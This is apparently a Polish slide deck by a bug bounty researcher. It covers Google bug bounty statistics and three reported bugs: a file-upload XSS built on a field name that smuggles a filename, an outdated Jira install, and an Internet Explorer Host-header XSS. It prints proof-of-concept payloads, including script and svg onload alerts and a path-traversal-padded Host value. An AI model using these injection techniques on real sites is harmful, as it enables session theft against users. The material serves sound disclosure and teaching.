Wybrane błędy z programu bug bounty Google

Michał Bentkowski / @SecurityMB

http://bentkowski.info/4d/

O mnie

Plan prezentacji

Organizacyjnie

  • O co chodzi z bug bounty
  • Statystyki/wypłaty...
  • FAQ

Plan prezentacji

Technicznie

  • Opis trzech błędów

Pytania

  • Mogą wystąpić problemy komunikacyjne...
  • Zadawajcie pytania na http://bentkowski.info/q
  • Odpowiem na koniec prezentacji.

Konkurs

Do wygrania koszulki Sekuraka.

http://bentkowski.info/4d/konkurs/

Organizacyjnie

Czym jest bug bounty?

Zgłaszanie błędów

  • goo.gl/vulnz
  • "Nice catch" - po kilku dniach
  • Do dwóch tygodni - ostateczna odpowiedź.

FAQ

"Ile błędów zgłosiłeś?"

  • 2013: 4
  • 2014: 6
  • 2015: 10
  • 2016: 3...

"Ile błędów zgłosiłeś?"

  • 17x XSS
  • 1x CSRF, Cookie folding, Clickjacking, Outdated software, Path traversal, Remote code execution.

"Czy rozliczasz zyski z bug bounty w skarbówce?"

  • Niestety tak 😓.

"Czy z bug bounty da się wyżyć?"

  • Truizm: to zależy od oczekiwań.
  • Jeden XSS w www.google.com = 5000$.
  • Przy obecnym kursie dolara, po odjęciu podatku ≈ 15 200 PLN.

Technicznie

XSS przez upload pliku

XSS przez upload pliku

Postini was an e-mail, Web security, and archiving service owned by Google since 2007. It provided cloud computing services for filtering e-mail spam and malware (before it was delivered to a client's mail server), offered optional e-mail archiving, and protected client networks from web-borne malware.

via Wikipedia

X-pstn-levels: (S: 0.00000/60.95723 CV:99.9000
R:95.91080 P: 95.91081 M:64.93900 C:93.23770 )
X-pstn-settings: 5 (2.00000:8.00000) r p M c

Yeehaw! Mamy XSS-a!

  • Ale to XSS przez formularz uploadu...
  • ... więc zawsze pojawia się okienko dialogowe z wyborem pliku.

Scenariusz ataku?

  1. Atakujący przesyła ofierze złośliwie przygotowany plik ZIP.
  2. Atakujący zachęca ofiarę do przejścia do złośliwie przygotowanej witryny.
  3. W okienku dialogowym z wyborem pliku, ofiara musi ręcznie wybrać plik podesłany przez atakującego.
  4. Ofiara musi potwierdzić upload pliku.

Co począć?

Pytanie: Czy da się wysłać takie zapytanie POST, które z punktu widzenia przeglądarki wygląda jak zwykłe wysłanie formularza, zaś z punktu widzenia serwera będzie wyglądało jak upload pliku?


					<input name="file_1; name=file_1; filename=test.zip; a">
										

Spodziewamy się...

Content-Disposition: form-data;
name="file_1; name=file_1; filename=test.zip; a"

Ale tak naprawdę...

Content-Disposition: form-data;
name="file_1; name=file_1; filename=test.zip; a"
						
 

Więc przygotowałem odpowiedni formularz


					<input
  name="file_1; name=file_1; filename=test.zip; a"
  value="[...ZIP...]">
										

Wysłałem w Firefoksie... i nic.

W Chromie też nic.

Dziwne zachowanie Chrome'a.

  • Próba interpretacji tekstu w kodowaniu.
  • Niepoprawny znak lub nieznana sekwencja znaków? Użyjmy encji HTML!
  • 0x00 - 0x9F - dopuszczalne bajty.
  • 0xA0 - 0xFF - zabronione bajty.
  • Problem z ZIP-em. Spróbujmy z TAR-em.

Wysłałem taki plik... i nadal nic.

Pozostał więc GZIP

  • Struktura pliku GZIP
    • 10-bajtowy nagłówek
    • Body - zawierające strumień DEFLATE.
    • Suma CRC32 i rozmiar pliku.
  • Nagłówek i końcówka - łatwo sprawić, by nie było zabronionych bajtów.
  • Problem z body?

XSS przez upload pliku - wnioski

  • Warto dokładnie badać zachowanie webserwerów. Czasem jest nieoczekiwane.
  • Nie ograniczać swoich testów tylko do swojej ulubionej przeglądarki. Coś co nie działa w jednej przeglądarce, może zadziałać w innej.

Nieaktualna wersja oprogramowania

Nieaktualna wersja oprogramowania

  • QuickOffice - pakiet biurowy.
  • Kupiony przez Google w 2012 roku.
  • Połączony z Google Docs w 2014.
  • Lecz wciąż żyje...
  • issues.quickoffice.com i issues2.quickoffice.com - hostowały Jirę.
  • https://confluence.atlassian.com/jira/jira-security-advisory-2014-02-26-445188412.html
  • Nieaktualna wersja oprogramowania - wnioski

    • Czasem trzeba po prostu trochę szczęścia 😉.

    XSS przez nagłówek Host

    XSS przez nagłówek Host

    • Znany błąd w Internet Explorerze.
    • Google dziwnie interpretuje nagłówek Host.
    • Polowanie czas zacząć!
    HTTP/1.1 302 Found
    Date: Fri, 06 Mar 2015 08:35:32 GMT
    Server: Apache/2.2.22 (Debian)
    X-Powered-By: PHP/5.4.36-0+deb7u3
    Location: http://example.com/login.php
    Vary: Accept-Encoding
    Content-Length: 0
    Connection: close
    Content-Type: text/html
    HTTP/1.1 302 Found
    Date: Fri, 06 Mar 2015 08:35:32 GMT
    Server: Apache/2.2.22 (Debian)
    X-Powered-By: PHP/5.4.36-0+deb7u3
    Location: http://example.com%2flogin.php
    Vary: Accept-Encoding
    Content-Length: 0
    Connection: close
    Content-Type: text/html
    GET /login.phphp/ HTTP/1.1
    Accept: text/html, application/xhtml+xml, */*
    Accept-Language: pl-PL
    User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64
    Accept-Encoding: gzip, deflate
    Host: example.com/login.php
    DNT: 1
    Connection: Keep-Alive
    Cache-Control: no-cache
    					

    W ten sposób można dodać (prawie) dowolny znak do nagłówka Host!

    Jak Google parsował nagłówek Host?

    • Host: www.google.com -> działa.
    • Host: www.google.com/test -> nie działa.
    • Host: www.google.com:80 -> działa.
    • Host: www.google.com:80/test<123> -> też działa.
    • Wystarczy więc znaleźć jedno miejsce, w którym zawartość nagłówka Host pojawia się na wyjściu bez enkodowania!
    HTTP/1.1 302 Found
    Server: Apache/2.2.22 (Debian)
    Location: https://www.google.com%3a443%2f
    cse%2ftools%2fcreate_onthefly%3b%3c
    %2ftextarea%3e%3cscript%3ealert(1)%3c
    %2fscript%3e

    Host: www.google.com:443/cse/tools/create_onthefly;
    </textarea>
    <script>alert(1)</script>

    Gdy Internet Explorer wykonuje żądanie do: http://sekurak.pl/<svg/onload=alert(1)/../../, na pasku adresu pojawi się tylko http://sekurak.pl.

    Internet Explorer już nie widzi próby XSS-a.

    Location: https://www.google.com%3a443%2fcse %2ftools%2fcreate_onthefly%3b%3c%2ftextarea% 3e%3csvg%2fonload%3dalert%28document%2e domain%29%3e%3b%2f%2e%2e%2f%2e%2e%2f%2e %2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e %2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f %2e%2e%2f%2e%2e%2f%2e%2e%2f

    Host: www.google.com:443/cse/tools/create_onthefly; </textarea><svg/onload=alert(document.domain)> ;/../../../../../../../../../../../../../../

    XSS przez nagłówek Host - wnioski

    • Właściwie takie same jak wcześniej!
    • Warto poznawać dziwne zachowania i błędy przeglądarek.
    • Warto też analizować zachowanie serwerów, bo pewne niuanse mogą być nietypowe.

    Podsumowanie

    Podsumowanie

    • Bug bounty - zabawa i profit.
    • Program Google - dobra komunikacja.
    • Szukanie błędów wymaga trochę szczęścia...
    • ... i im więcej wiecie o przeglądarkach i webserwerach - tym lepiej!

    Dzięki!

    Pytania?

    http://bentkowski.info/q
    http://bentkowski.info/4d/